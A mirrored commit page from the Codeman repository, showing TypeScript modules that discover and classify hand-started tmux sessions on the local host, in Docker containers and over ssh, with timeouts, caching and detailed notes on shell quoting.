mirror of
https://github.com/Ark0N/Codeman.git
synced 2026-11-14 10:39:32 +01:00
Merge #510 feat(adopt): adopt tmux sessions a human started, in all three locations
The attach line now takes the rule #770 gave remote and docker launches: bashCArg() single-quotes it at both respawn-pane sites, so it reaches bash verbatim. quoteAdoptLaunch is retired, since its double quotes kept the same $ and backtick safety but lost a real newline. #510's no-cd condition stays. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
This commit is contained in:
commit
c65706a3e4
64 files changed
+5321
-103
No files matched your search
@@ -0,0 +1,48 @@
|
||||
/**
|
||||
* @fileoverview Bounds for FOREIGN tmux discovery (sessions a human started
|
||||
* outside Codeman).
|
||||
*
|
||||
* Two facts drive every number here. First, the number of tmux sockets and panes
|
||||
* on a machine is NOT under Codeman's control, so a discovery walk with no ceiling
|
||||
* is an unbounded loop over data someone else produces. Parsed rows are capped by
|
||||
* count and the socket sweep by time: a sweep capped by count would stop in glob
|
||||
* order, where `codeman*` sorts before `default` and a machine running many
|
||||
* instances would never reach the sessions this feature is for. Second, an ssh
|
||||
* handshake is an order of magnitude slower than
|
||||
* a local `exec`; reusing the shared 5s `EXEC_TIMEOUT_MS` would classify every
|
||||
* remote host as unreachable, so the probe gets its own timeout.
|
||||
*
|
||||
* @module config/foreign-tmux
|
||||
*/
|
||||
|
||||
/** How often the browser re-polls `/api/mux/foreign` while the home screen is visible. */
|
||||
export const FOREIGN_POLL_INTERVAL_MS = 8000;
|
||||
|
||||
/**
|
||||
* Server-side cache TTL for a LOCAL scan. This, not the poll interval, is what
|
||||
* bounds the real cost: N open tabs polling at 8s still trigger at most one scan
|
||||
* per TTL.
|
||||
*/
|
||||
export const FOREIGN_CACHE_TTL_MS = 5000;
|
||||
|
||||
/** Timeout for one probe invocation (local exec, `docker exec`, or one ssh). */
|
||||
export const FOREIGN_PROBE_TIMEOUT_MS = 12000;
|
||||
|
||||
/**
|
||||
* How long one tmux server may take to answer the probe's ping, in the script's own
|
||||
* `sleep`, so whole seconds. A healthy server takes milliseconds. One that misses this
|
||||
* costs only its own rows, and the sweep moves on to the next socket.
|
||||
*/
|
||||
export const FOREIGN_SOCKET_TIMEOUT_SECONDS = 2;
|
||||
|
||||
/** How long a timed-out probe's process group gets on SIGTERM before SIGKILL. */
|
||||
export const FOREIGN_PROBE_KILL_GRACE_MS = 2000;
|
||||
|
||||
/** Max pane rows parsed from one probe. Panes past this are dropped, not errors. */
|
||||
export const FOREIGN_MAX_PANES = 400;
|
||||
|
||||
/** Max process rows parsed from one probe's `ps` snapshot. */
|
||||
export const FOREIGN_MAX_PROCS = 4000;
|
||||
|
||||
/** Max bytes of probe stdout kept. A runaway `ps` must not become a heap problem. */
|
||||
export const FOREIGN_PROBE_MAX_BYTES = 2 * 1024 * 1024;
|
||||
+1
-1
@@ -1014,7 +1014,7 @@ export function resolveDockerCredentialArtifacts(
|
||||
* string; argv arrays must NOT carry literal quotes (mirror of docker-export's
|
||||
* dockerArgv).
|
||||
*/
|
||||
function dockerEngineArgv(docker: Pick<SessionDocker, 'engine' | 'context' | 'daemonHost'>): string[] {
|
||||
export function dockerEngineArgv(docker: Pick<SessionDocker, 'engine' | 'context' | 'daemonHost'>): string[] {
|
||||
const argv: string[] = [docker.engine === 'podman' ? 'podman' : 'docker'];
|
||||
if (docker.context) argv.push('--context', docker.context);
|
||||
if (docker.daemonHost) argv.push('-H', docker.daemonHost);
|
||||
|
||||
@@ -0,0 +1,453 @@
|
||||
/**
|
||||
* @fileoverview Runs the foreign-tmux probe at the three locations Codeman
|
||||
* already knows how to reach: this host, inside a container, and across ssh.
|
||||
*
|
||||
* All the judgement lives in `foreign-tmux.ts` (pure). This module is only
|
||||
* transport + caching + the promise that it never throws.
|
||||
*
|
||||
* ## Cost policy
|
||||
*
|
||||
* The home screen shows LOCAL results automatically, so a local scan runs on a
|
||||
* TTL cache: N browser tabs polling every few seconds still trigger at most one
|
||||
* scan per `FOREIGN_CACHE_TTL_MS`. Docker and remote are ON DEMAND only —
|
||||
* opening the home page must never fan out one ssh connection per saved host.
|
||||
*
|
||||
* ## ⚠️ The probe must not cross an extra shell
|
||||
*
|
||||
* The script contains `$TMUX_TMPDIR` and `$(id -u)`, which the INNER shell has to
|
||||
* expand. Local and docker therefore spawn with an argv array, where no outer
|
||||
* shell exists to eat them first. Remote is the exception: the ssh
|
||||
* command line is a string like every other ssh call in this codebase, so the
|
||||
* script is wrapped in SINGLE quotes there — which is exactly why
|
||||
* `buildForeignProbeScript()` may not contain one.
|
||||
*
|
||||
* This was measured, not reasoned: running the probe through `execSync` (which
|
||||
* spawns `sh -c`) expanded `$TMUX_TMPDIR` and `$U` in the OUTER shell, leaving the
|
||||
* inner loop iterating over the literal `/tmux-/*` and reporting zero sessions on
|
||||
* a machine that had three.
|
||||
*
|
||||
* ## A probe that goes wrong still answers
|
||||
*
|
||||
* All three transports go through `runForeignProbe`, which never rejects and hands
|
||||
* back what it read. A timeout has to reach the whole process tree, not just the
|
||||
* `sh` on top (the same rule as `runFetch` in git-fetch.ts): signalling only `sh`
|
||||
* left its tmux child stuck on a stopped server, one more per scan, for as long as
|
||||
* the home screen stayed open. And a scan cut short keeps the rows it already has,
|
||||
* since one bad server must not empty the list of a machine with good ones.
|
||||
*
|
||||
* @module foreign-tmux-discovery
|
||||
*/
|
||||
|
||||
import { spawn, type ChildProcess } from 'node:child_process';
|
||||
import {
|
||||
buildForeignProbeScript,
|
||||
classifyForeignPaneMode,
|
||||
foreignRemoteShellCommand,
|
||||
foreignSessionId,
|
||||
isAdoptableSessionName,
|
||||
isAdoptableSocketPath,
|
||||
isCodemanOwnedPane,
|
||||
parseForeignProbeOutput,
|
||||
} from './foreign-tmux.js';
|
||||
import { dockerEngineArgv, readDockerCases, readDockerHosts } from './docker-hosts.js';
|
||||
import { buildSshConnectionArgs, readRemoteHosts, remoteSshTarget, shellescape } from './remote-hosts.js';
|
||||
import { runWithRemoteSshLimit } from './remote-ssh-limiter.js';
|
||||
import { resolveTmuxSocketName, getDataDir } from './config/instance.js';
|
||||
import {
|
||||
FOREIGN_CACHE_TTL_MS,
|
||||
FOREIGN_PROBE_KILL_GRACE_MS,
|
||||
FOREIGN_PROBE_MAX_BYTES,
|
||||
FOREIGN_PROBE_TIMEOUT_MS,
|
||||
} from './config/foreign-tmux.js';
|
||||
import type { ForeignDiscoveryResult, ForeignTmuxSession } from './types/foreign-tmux.js';
|
||||
import type { DockerCase, DockerHost, RemoteHost, SessionDocker } from './types/session.js';
|
||||
|
||||
const IS_TEST_MODE = process.env.VITEST === 'true' || process.env.NODE_ENV === 'test';
|
||||
|
||||
/** What one probe produced, however it ended. */
|
||||
export interface ForeignProbeRun {
|
||||
/** Everything read before it finished or was stopped. */
|
||||
stdout: string;
|
||||
/** False when it timed out, flooded, exited non-zero or could not start. */
|
||||
ok: boolean;
|
||||
}
|
||||
|
||||
/**
|
||||
* Run one probe in its own process group. Never rejects (see @fileoverview).
|
||||
*
|
||||
* The caller is answered AT the deadline, while the group is still dying.
|
||||
*/
|
||||
export function runForeignProbe(
|
||||
argv: readonly string[],
|
||||
opts: { timeoutMs?: number; maxBytes?: number } = {}
|
||||
): Promise<ForeignProbeRun> {
|
||||
const { timeoutMs = FOREIGN_PROBE_TIMEOUT_MS, maxBytes = FOREIGN_PROBE_MAX_BYTES } = opts;
|
||||
return new Promise((resolve) => {
|
||||
const [file, ...args] = argv;
|
||||
const chunks: Buffer[] = [];
|
||||
let bytes = 0;
|
||||
let settled = false;
|
||||
let child: ChildProcess | undefined;
|
||||
let escalation: NodeJS.Timeout | undefined;
|
||||
|
||||
const finish = (ok: boolean) => {
|
||||
if (settled) return;
|
||||
settled = true;
|
||||
clearTimeout(deadline);
|
||||
resolve({ stdout: Buffer.concat(chunks).toString('utf-8'), ok });
|
||||
};
|
||||
const signalGroup = (signal: NodeJS.Signals) => {
|
||||
try {
|
||||
if (child?.pid) process.kill(-child.pid, signal);
|
||||
} catch {
|
||||
/* already gone */
|
||||
}
|
||||
};
|
||||
const stop = () => {
|
||||
signalGroup('SIGTERM');
|
||||
escalation = setTimeout(() => signalGroup('SIGKILL'), FOREIGN_PROBE_KILL_GRACE_MS);
|
||||
escalation.unref();
|
||||
// ⚠️ Let go of the pipe by hand. A stopped tmux server can hold it open with
|
||||
// everything in this group dead (see foreign-tmux.ts), so waiting for its EOF
|
||||
// would keep one handle per scan until that server is resumed.
|
||||
child?.stdout?.destroy();
|
||||
finish(false);
|
||||
};
|
||||
const deadline = setTimeout(stop, timeoutMs);
|
||||
|
||||
try {
|
||||
child = spawn(file ?? '', args, { stdio: ['ignore', 'pipe', 'ignore'], detached: true });
|
||||
} catch {
|
||||
finish(false);
|
||||
return;
|
||||
}
|
||||
child.stdout?.on('data', (chunk: Buffer) => {
|
||||
if (settled) return;
|
||||
chunks.push(chunk.subarray(0, Math.max(0, maxBytes - bytes)));
|
||||
bytes += chunk.length;
|
||||
if (bytes > maxBytes) stop();
|
||||
});
|
||||
child.on('error', () => finish(false));
|
||||
child.on('close', (code) => {
|
||||
// The group is gone, so a late SIGKILL could only reach whoever reused its id.
|
||||
clearTimeout(escalation);
|
||||
finish(code === 0);
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
/** The note for a probe that ended badly. Rows already read stay, so say which case this is. */
|
||||
function probeFailureNote(where: string, run: ForeignProbeRun, nothing: string): string {
|
||||
return run.stdout ? `${where}: the scan did not finish, this list may be incomplete` : `${where}: ${nothing}`;
|
||||
}
|
||||
|
||||
/**
|
||||
* Turn one probe's stdout into candidates. Shared by all three transports, so a
|
||||
* container's sessions and the host's are classified by identical rules.
|
||||
*
|
||||
* `where` opens every note this scan writes (`local`, `docker <name>`, `remote
|
||||
* <label>`). The browser tells the two kinds apart by it: a local note is re-read on
|
||||
* every poll, a container or host note only by the next explicit scan.
|
||||
*/
|
||||
export function candidatesFrom(
|
||||
stdout: string,
|
||||
location: ForeignTmuxSession['location'],
|
||||
hostKey: string,
|
||||
extra: Pick<ForeignTmuxSession, 'hostId' | 'hostLabel' | 'containerName'>,
|
||||
where: string,
|
||||
notes: string[]
|
||||
): ForeignTmuxSession[] {
|
||||
const probe = parseForeignProbeOutput(stdout);
|
||||
const ownSocket = resolveTmuxSocketName();
|
||||
const out: ForeignTmuxSession[] = [];
|
||||
const seen = new Set<string>();
|
||||
let unsafe = 0;
|
||||
|
||||
for (const pane of probe.panes) {
|
||||
if (isCodemanOwnedPane(pane, ownSocket)) continue;
|
||||
// ⚠️ THE security gate, and it lives here rather than at the adopt endpoint
|
||||
// on purpose: a name that cannot cross the launch chain safely never gets an
|
||||
// id, so there is nothing for a caller to send. Adoption re-resolves through
|
||||
// this same function, which makes the endpoint fail closed for free.
|
||||
// See `isAdoptableSessionName` for the injection this prevents.
|
||||
if (!isAdoptableSessionName(pane.sessionName) || !isAdoptableSocketPath(pane.socketPath)) {
|
||||
unsafe += 1;
|
||||
continue;
|
||||
}
|
||||
// One row per SESSION, not per pane: the first pane is the one we would land
|
||||
// on, and a multi-pane session is still a single thing to adopt.
|
||||
// \u0000 as an ESCAPE, never the literal byte: a raw NUL in the source makes git
|
||||
// treat this whole file as binary (no diff, no review), and the allowlists above
|
||||
// already guarantee neither half can contain one.
|
||||
const key = `${pane.socketPath}\u0000${pane.sessionName}`;
|
||||
if (seen.has(key)) continue;
|
||||
seen.add(key);
|
||||
|
||||
const classified = classifyForeignPaneMode(pane, probe);
|
||||
out.push({
|
||||
id: foreignSessionId(location, hostKey, pane.socketPath, pane.sessionName),
|
||||
location,
|
||||
...extra,
|
||||
socketPath: pane.socketPath,
|
||||
sessionName: pane.sessionName,
|
||||
windows: pane.windows,
|
||||
attached: pane.sessionAttached,
|
||||
createdAt: pane.sessionCreated * 1000,
|
||||
mode: classified.mode,
|
||||
command: classified.command,
|
||||
workingDir: pane.paneCurrentPath,
|
||||
});
|
||||
}
|
||||
if (unsafe) {
|
||||
notes.push(
|
||||
`${where}: ${unsafe} session(s) skipped, the tmux session name or socket path is one Codeman cannot pass safely to a shell or to tmux`
|
||||
);
|
||||
}
|
||||
// Another Codeman's server is not a session this list would ever have shown.
|
||||
const hung = probe.hungSockets.filter(
|
||||
(socketPath) => !isCodemanOwnedPane({ socketPath, sessionName: '' }, ownSocket)
|
||||
);
|
||||
if (hung.length) {
|
||||
notes.push(`${where}: ${hung.length} tmux server(s) did not answer, sessions on them are not listed`);
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
// ===========================================================================
|
||||
// Local
|
||||
// ===========================================================================
|
||||
|
||||
let localCache: { at: number; result: ForeignDiscoveryResult } | null = null;
|
||||
let localInFlight: Promise<ForeignDiscoveryResult> | null = null;
|
||||
|
||||
/**
|
||||
* Scan this host. TTL-cached and single-flight, because this is the one location
|
||||
* the home screen polls on its own.
|
||||
*/
|
||||
export async function discoverLocalForeign(force = false): Promise<ForeignDiscoveryResult> {
|
||||
if (IS_TEST_MODE) return { sessions: [], scannedAt: Date.now(), notes: [] };
|
||||
|
||||
const now = Date.now();
|
||||
if (!force && localCache && now - localCache.at < FOREIGN_CACHE_TTL_MS) return localCache.result;
|
||||
if (localInFlight) return localInFlight;
|
||||
|
||||
localInFlight = (async (): Promise<ForeignDiscoveryResult> => {
|
||||
const notes: string[] = [];
|
||||
let sessions: ForeignTmuxSession[] = [];
|
||||
try {
|
||||
// argv array: no outer shell, so the script's own `$TMUX_TMPDIR`/`$(id -u)`
|
||||
// reach the inner sh intact (see @fileoverview).
|
||||
const run = await runForeignProbe(['sh', '-c', buildForeignProbeScript()]);
|
||||
sessions = candidatesFrom(run.stdout, 'local', 'local', {}, 'local', notes);
|
||||
if (!run.ok) notes.push(probeFailureNote('local', run, 'tmux probe produced no result'));
|
||||
} catch {
|
||||
// The probe answers rather than throws, so this is the classifier. "Nothing to
|
||||
// adopt here" is the only honest answer and it is never an error to the caller.
|
||||
notes.push('local: tmux probe produced no result');
|
||||
}
|
||||
const result: ForeignDiscoveryResult = { sessions, scannedAt: Date.now(), notes };
|
||||
localCache = { at: Date.now(), result };
|
||||
return result;
|
||||
})().finally(() => {
|
||||
localInFlight = null;
|
||||
});
|
||||
|
||||
return localInFlight;
|
||||
}
|
||||
|
||||
/** Drop the local cache so the next scan is real (used right after an adopt). */
|
||||
export function invalidateForeignCache(): void {
|
||||
localCache = null;
|
||||
}
|
||||
|
||||
// ===========================================================================
|
||||
// Docker
|
||||
// ===========================================================================
|
||||
|
||||
/** Connection facts for one adoptable container, resolved from the registries. */
|
||||
export interface DockerTargetInfo {
|
||||
hostId: string;
|
||||
label: string;
|
||||
containerName: string;
|
||||
base: Pick<SessionDocker, 'engine' | 'context' | 'daemonHost'>;
|
||||
}
|
||||
|
||||
function dockerTargets(cases: DockerCase[], hosts: DockerHost[]): DockerTargetInfo[] {
|
||||
const byId = new Map(hosts.map((h) => [h.id, h]));
|
||||
const out: DockerTargetInfo[] = [];
|
||||
const seen = new Set<string>();
|
||||
for (const c of cases) {
|
||||
const container = c.container || `codeman-case-${c.name}`;
|
||||
// Per engine, not global: two daemons can each run a container of one name,
|
||||
// and collapsing them here would leave the second one unscanned.
|
||||
const key = `${c.hostId}\u0000${container}`;
|
||||
if (seen.has(key)) continue;
|
||||
seen.add(key);
|
||||
const host = byId.get(c.hostId);
|
||||
out.push({
|
||||
hostId: c.hostId,
|
||||
label: host?.label || c.name,
|
||||
containerName: container,
|
||||
base: {
|
||||
engine: host?.engine ?? 'docker',
|
||||
context: host?.context,
|
||||
daemonHost: host?.daemonHost,
|
||||
},
|
||||
});
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
/**
|
||||
* The argv of one in-container probe.
|
||||
*
|
||||
* ⚠️ `dockerEngineArgv`, never `buildDockerBaseArgs`, whose `--context` and `-H`
|
||||
* values are shell-quoted for the launch string. `execFile` passes those quotes
|
||||
* through literally, so `docker --context "'default'"` answered "context not found"
|
||||
* and every container behind a named context or a remote daemon read as unreachable.
|
||||
*/
|
||||
export function foreignDockerProbeArgv(target: DockerTargetInfo): string[] {
|
||||
return [...dockerEngineArgv(target.base), 'exec', target.containerName, 'sh', '-lc', buildForeignProbeScript()];
|
||||
}
|
||||
|
||||
/**
|
||||
* Scan the containers behind the caller's docker cases. On demand only.
|
||||
*
|
||||
* Read-only by construction: one `docker exec` running the probe. Never inspects
|
||||
* lifecycle, never starts anything — a stopped or missing container simply
|
||||
* contributes a note, mirroring `probeAdoptableContainer`'s "engine unreachable
|
||||
* degrades to an empty list" rule.
|
||||
*/
|
||||
export async function discoverDockerForeign(cases: DockerCase[]): Promise<ForeignDiscoveryResult> {
|
||||
if (IS_TEST_MODE) return { sessions: [], scannedAt: Date.now(), notes: [] };
|
||||
|
||||
const hosts = await readDockerHosts(getDataDir()).catch(() => [] as DockerHost[]);
|
||||
const targets = dockerTargets(cases, hosts);
|
||||
const notes: string[] = [];
|
||||
const sessions: ForeignTmuxSession[] = [];
|
||||
|
||||
await Promise.all(
|
||||
targets.map(async (t) => {
|
||||
const where = `docker ${t.containerName}`;
|
||||
try {
|
||||
const run = await runForeignProbe(foreignDockerProbeArgv(t));
|
||||
sessions.push(
|
||||
...candidatesFrom(
|
||||
run.stdout,
|
||||
'docker',
|
||||
`${t.hostId} ${t.containerName}`,
|
||||
{ hostId: t.hostId, hostLabel: t.label, containerName: t.containerName },
|
||||
where,
|
||||
notes
|
||||
)
|
||||
);
|
||||
if (!run.ok) notes.push(probeFailureNote(where, run, 'not running, no tmux, or engine unreachable'));
|
||||
} catch {
|
||||
notes.push(`${where}: not running, no tmux, or engine unreachable`);
|
||||
}
|
||||
})
|
||||
);
|
||||
|
||||
return { sessions, scannedAt: Date.now(), notes };
|
||||
}
|
||||
|
||||
// ===========================================================================
|
||||
// Remote
|
||||
// ===========================================================================
|
||||
|
||||
/**
|
||||
* The ssh command line of one remote probe.
|
||||
*
|
||||
* `exec` so a timeout kill reaches ssh itself, not only the local `sh -c` around it.
|
||||
*/
|
||||
export function foreignRemoteProbeCommand(host: RemoteHost): string {
|
||||
return [
|
||||
'exec',
|
||||
...buildSshConnectionArgs(host),
|
||||
remoteSshTarget(host),
|
||||
shellescape(foreignRemoteShellCommand(buildForeignProbeScript())),
|
||||
].join(' ');
|
||||
}
|
||||
|
||||
/**
|
||||
* Scan saved ssh hosts. On demand only — this is the expensive one.
|
||||
*
|
||||
* ⚠️ The ssh command is a STRING (as every ssh call in this codebase is), so the
|
||||
* probe crosses one extra shell and must be single-quoted. `shellescape` does
|
||||
* that, and `buildForeignProbeScript()` is single-quote-free precisely so the
|
||||
* escaping stays a wrap rather than a rewrite.
|
||||
*
|
||||
* Each host holds a slot of the shared remote-ssh limiter: one saved host per
|
||||
* connection, all at once, is the burst OpenSSH's `MaxStartups` starts dropping.
|
||||
* A host that waits too long for a slot reads as unreachable this round.
|
||||
*/
|
||||
export async function discoverRemoteForeign(hosts: RemoteHost[]): Promise<ForeignDiscoveryResult> {
|
||||
if (IS_TEST_MODE) return { sessions: [], scannedAt: Date.now(), notes: [] };
|
||||
|
||||
const notes: string[] = [];
|
||||
const sessions: ForeignTmuxSession[] = [];
|
||||
|
||||
await Promise.all(
|
||||
hosts.map(async (host) => {
|
||||
const where = `remote ${host.label}`;
|
||||
try {
|
||||
const run = await runWithRemoteSshLimit(() => runForeignProbe(['sh', '-c', foreignRemoteProbeCommand(host)]), {
|
||||
maxWaitMs: FOREIGN_PROBE_TIMEOUT_MS,
|
||||
});
|
||||
sessions.push(
|
||||
...candidatesFrom(run.stdout, 'remote', host.id, { hostId: host.id, hostLabel: host.label }, where, notes)
|
||||
);
|
||||
if (!run.ok) notes.push(probeFailureNote(where, run, 'unreachable, or no tmux'));
|
||||
} catch {
|
||||
notes.push(`${where}: unreachable, or no tmux`);
|
||||
}
|
||||
})
|
||||
);
|
||||
|
||||
return { sessions, scannedAt: Date.now(), notes };
|
||||
}
|
||||
|
||||
// ===========================================================================
|
||||
// Facade
|
||||
// ===========================================================================
|
||||
|
||||
export interface ForeignDiscoveryRequest {
|
||||
/** Always scanned (cheap, cached). */
|
||||
local?: boolean;
|
||||
/** Docker cases the CALLER may see — ownership filtering happens in the route. */
|
||||
dockerCases?: DockerCase[];
|
||||
/** Remote hosts the CALLER may see. */
|
||||
remoteHosts?: RemoteHost[];
|
||||
/** Skip the local TTL cache. */
|
||||
force?: boolean;
|
||||
}
|
||||
|
||||
/**
|
||||
* One scan across the requested locations. Merges notes, never throws.
|
||||
*
|
||||
* The caller supplies the docker cases and remote hosts rather than this module
|
||||
* reading the registries itself: which of them a user may see is an ownership
|
||||
* question, and ownership belongs to the route layer.
|
||||
*/
|
||||
export async function discoverForeignSessions(req: ForeignDiscoveryRequest): Promise<ForeignDiscoveryResult> {
|
||||
const parts: ForeignDiscoveryResult[] = [];
|
||||
if (req.local !== false) parts.push(await discoverLocalForeign(req.force));
|
||||
if (req.dockerCases?.length) parts.push(await discoverDockerForeign(req.dockerCases));
|
||||
if (req.remoteHosts?.length) parts.push(await discoverRemoteForeign(req.remoteHosts));
|
||||
|
||||
return {
|
||||
sessions: parts.flatMap((p) => p.sessions),
|
||||
scannedAt: parts.length ? Math.max(...parts.map((p) => p.scannedAt)) : Date.now(),
|
||||
notes: parts.flatMap((p) => p.notes),
|
||||
};
|
||||
}
|
||||
|
||||
/** Re-read the caller-visible docker cases, for routes that only hold a username. */
|
||||
export async function readAllDockerCases(): Promise<DockerCase[]> {
|
||||
return readDockerCases(getDataDir()).catch(() => [] as DockerCase[]);
|
||||
}
|
||||
|
||||
/** Re-read the saved remote hosts. */
|
||||
export async function readAllRemoteHosts(): Promise<RemoteHost[]> {
|
||||
return readRemoteHosts(getDataDir()).catch(() => [] as RemoteHost[]);
|
||||
}
|
||||
@@ -0,0 +1,844 @@
|
||||
/**
|
||||
* @fileoverview Pure core for FOREIGN tmux sessions — the ones a human started
|
||||
* by hand, which Codeman neither created nor owns.
|
||||
*
|
||||
* Everything here is a string in / structure out, so all three locations (local,
|
||||
* inside a container, across ssh) go through ONE probe script, ONE parser and ONE
|
||||
* classifier. Writing a second copy per location is exactly how the two would
|
||||
* drift into disagreeing about what a session is.
|
||||
*
|
||||
* ## Why the probe script is dumb
|
||||
*
|
||||
* It runs two commands and prints them: `tmux list-panes` per socket, and one
|
||||
* `ps` snapshot. No filtering, no logic. All judgement happens in Node, where it
|
||||
* is pure and unit-testable, instead of in a shell string that is embedded three
|
||||
* different ways and can only be debugged against a real host.
|
||||
*
|
||||
* The one thing the script does decide is whether a server is safe to ask, because
|
||||
* only the script can. A tmux server that stopped answering holds its client
|
||||
* forever, and from outside a container or across ssh no signal reaches that
|
||||
* client: a timeout kills `docker exec` or `ssh`, never what they started. So each
|
||||
* server gets a bounded ping first, and one that misses it costs its own rows and
|
||||
* a `CMFH` line, not the whole scan.
|
||||
*
|
||||
* ⚠️ The ping exists because a watchdog around `list-panes` cannot work. A tmux
|
||||
* client hands dups of its stdout to the server, so a stopped server keeps our
|
||||
* stdout pipe open after the client is dead (measured: SIGTERM ended the client at
|
||||
* once and no EOF came in the 2.5 s that were watched, while the server stayed
|
||||
* stopped). Nothing reading that pipe can finish, and the same hold would keep
|
||||
* `docker exec` and `ssh` waiting on it. The ping's stdout is /dev/null, so only a
|
||||
* server that just answered ever gets the real one.
|
||||
*
|
||||
* ⚠️ The script MUST NOT contain a single quote. It is wrapped in single quotes
|
||||
* to cross `ssh <host> '<script>'` and `docker exec <c> sh -lc '<script>'`. That
|
||||
* is the single-quote dual of the "no double quotes in the docker launch chain"
|
||||
* rule in `tmux-manager.ts` — same class of bug, opposite quote.
|
||||
*
|
||||
* ## Why the mode comes from the process tree
|
||||
*
|
||||
* `#{pane_current_command}` is `node` for BOTH claude and codex, so it cannot
|
||||
* distinguish them. The classifier walks the pane's descendants over the `ps`
|
||||
* snapshot with `collectDescendants` (bounded: one snapshot, no per-node spawn —
|
||||
* see proc-tree.ts for the incident that rule exists for) and matches argv. What
|
||||
* it cannot identify is `shell`, which is also the honest answer for the case
|
||||
* this feature was built for: a hand-opened shell.
|
||||
*
|
||||
* ## Why attaching means creating a grouped session
|
||||
*
|
||||
* A grouped session (`new-session -t <target>`) shares the target's WINDOWS but
|
||||
* is its own session, so our `status off` and our current-window selection land
|
||||
* on us alone. A bare `attach` would have to set those on the owner's session,
|
||||
* i.e. mutate something we do not own. `destroy-unattached on` then makes our
|
||||
* view evaporate when the wrapper pane dies (measured: it does).
|
||||
*
|
||||
* ⚠️ The group session must be created ATTACHED (no `-d`). tmux's
|
||||
* `server_check_unattached()` runs every server loop, so a detached session with
|
||||
* `destroy-unattached on` is torn down almost immediately — the option has to
|
||||
* land on a session that already has our client on it.
|
||||
*
|
||||
* ⚠️ **Grouping does NOT give us an independent window SIZE, and believing it did
|
||||
* was wrong.** Measured on tmux 3.3a against a target held open by a 200x49
|
||||
* client, with our client at 80x24:
|
||||
*
|
||||
* bare attach -> target becomes 80x23
|
||||
* grouped session -> target becomes 80x23 (same!)
|
||||
* grouped + `window-size largest` -> target stays 200x49
|
||||
*
|
||||
* A window is one object with one size; a group shares the object. So attaching
|
||||
* from Codeman resizes a session someone else is actively viewing, exactly like
|
||||
* any second tmux client does — that is tmux's normal behavior, and it reverses
|
||||
* when we detach.
|
||||
*
|
||||
* `window-size largest` is deliberately NOT set here. It is a WINDOW option on a
|
||||
* SHARED window, so it survives our detach (measured: still `largest` after our
|
||||
* view is gone) — it would permanently rewrite the owner's configuration to buy
|
||||
* a cropped view for us. Restoring it would need the previous value captured with
|
||||
* `$(...)`, and this string carries no command substitution. It reaches `bash -c`
|
||||
* verbatim now (`bashCArg()`), but it crossed `bash -c "..."` for a long time, where
|
||||
* the OUTER shell expanded it first. That is the same rule the docker launch chain
|
||||
* states as "no command substitution", and the same trap that silently emptied
|
||||
* `$TMUX_TMPDIR` while this probe was developed.
|
||||
* A user who wants the crop instead of the resize can set `window-size largest`
|
||||
* on their own session, which is theirs to set.
|
||||
*
|
||||
* @module foreign-tmux
|
||||
*/
|
||||
|
||||
import { collectDescendants } from './proc-tree.js';
|
||||
import { listClis } from './config/cli-registry/registry.js';
|
||||
import { withRemoteTmuxPath } from './remote-hosts.js';
|
||||
import { FOREIGN_MAX_PANES, FOREIGN_MAX_PROCS, FOREIGN_SOCKET_TIMEOUT_SECONDS } from './config/foreign-tmux.js';
|
||||
import type { ForeignPaneProbe, ForeignTmuxLocationKind } from './types/foreign-tmux.js';
|
||||
import type { SessionAdopt, SessionMode } from './types/session.js';
|
||||
|
||||
// ===========================================================================
|
||||
// Probe script
|
||||
// ===========================================================================
|
||||
|
||||
/**
|
||||
* Field separator. tmux's `-F` does NOT expand a backslash-t escape: it emits the
|
||||
* LITERAL two characters (verified on next-3.7 — the same finding that shaped
|
||||
* `parseRemoteSessionList` in remote-hosts.ts). The parser accepts a real TAB too,
|
||||
* in case some build does expand it.
|
||||
*/
|
||||
const SEP = '\\t';
|
||||
const SEP_SPLIT = /\\t|\t/;
|
||||
const REJOIN = '\t';
|
||||
|
||||
const PANE_MARKER = 'CMFP';
|
||||
const PROC_MARKER = 'CMFQ';
|
||||
const SOCKET_MARKER = 'CMFS';
|
||||
const HUNG_MARKER = 'CMFH';
|
||||
|
||||
/**
|
||||
* The probe, as POSIX sh. NO SINGLE QUOTES (see @fileoverview).
|
||||
*
|
||||
* Emits, in order:
|
||||
* CMFS<sep><socket path> (one per readable socket)
|
||||
* CMFP<sep><socket><sep>...<sep>name<sep>path (one per pane on that socket)
|
||||
* CMFH<sep><socket path> (a server that did not answer)
|
||||
* CMFQ (marker; ps rows follow)
|
||||
* <pid> <ppid> <argv...>
|
||||
*
|
||||
* The two free-form fields (session name, pane path) are LAST so a separator
|
||||
* inside one of them can be re-joined by position instead of corrupting the row.
|
||||
*/
|
||||
export function buildForeignProbeScript(): string {
|
||||
const fmt = [
|
||||
PANE_MARKER,
|
||||
'#{socket_path}',
|
||||
'#{pane_pid}',
|
||||
'#{window_index}',
|
||||
'#{session_windows}',
|
||||
'#{session_created}',
|
||||
'#{session_attached}',
|
||||
'#{pane_id}',
|
||||
'#{pane_current_command}',
|
||||
'#{session_name}',
|
||||
'#{pane_current_path}',
|
||||
].join(SEP);
|
||||
|
||||
// `ps -eo` covers procps and macOS; `ps ax -o` is the BSD-ish fallback. If both
|
||||
// fail we still emit the pane rows, and classification degrades to the pane
|
||||
// command — which still names a plain shell correctly.
|
||||
// ⚠️ No `set -f` here: the socket sweep IS a glob, and disabling pathname
|
||||
// expansion turns the loop into a single literal non-match. ⚠️ The marker line
|
||||
// must NOT try to carry the field separator at all. Measured: `sh`'s builtin
|
||||
// `echo` EXPANDS a backslash-t to a real TAB, while tmux's own `-F` emits the
|
||||
// two literal characters — so the same escape means two different things two
|
||||
// lines apart. The socket line is space-separated instead (marker first, rest
|
||||
// of line is the path), which no shell rewrites.
|
||||
//
|
||||
// Only `$TMUX_TMPDIR/tmux-<uid>/` is swept, which covers every `tmux -L <name>`
|
||||
// server (that is exactly where tmux puts them). A socket at an arbitrary
|
||||
// `tmux -S /custom/path` is deliberately out of scope: finding it would mean
|
||||
// walking the filesystem for sockets.
|
||||
//
|
||||
// `-u` because a POSIX locale otherwise rewrites every non-ASCII byte tmux prints
|
||||
// to `_` (measured in a container: session `会话` listed as `____`), and a name
|
||||
// read wrong is a name the guard then cannot find.
|
||||
//
|
||||
// The ping (see @fileoverview) runs in the background beside a watchdog, the POSIX
|
||||
// spelling of `timeout`, which macOS does not ship. A stale socket answers at once
|
||||
// with status 1 and is skipped, so the ping costs a live server one extra spawn and
|
||||
// a dead one none. `has-session` cannot start a server on a stale socket.
|
||||
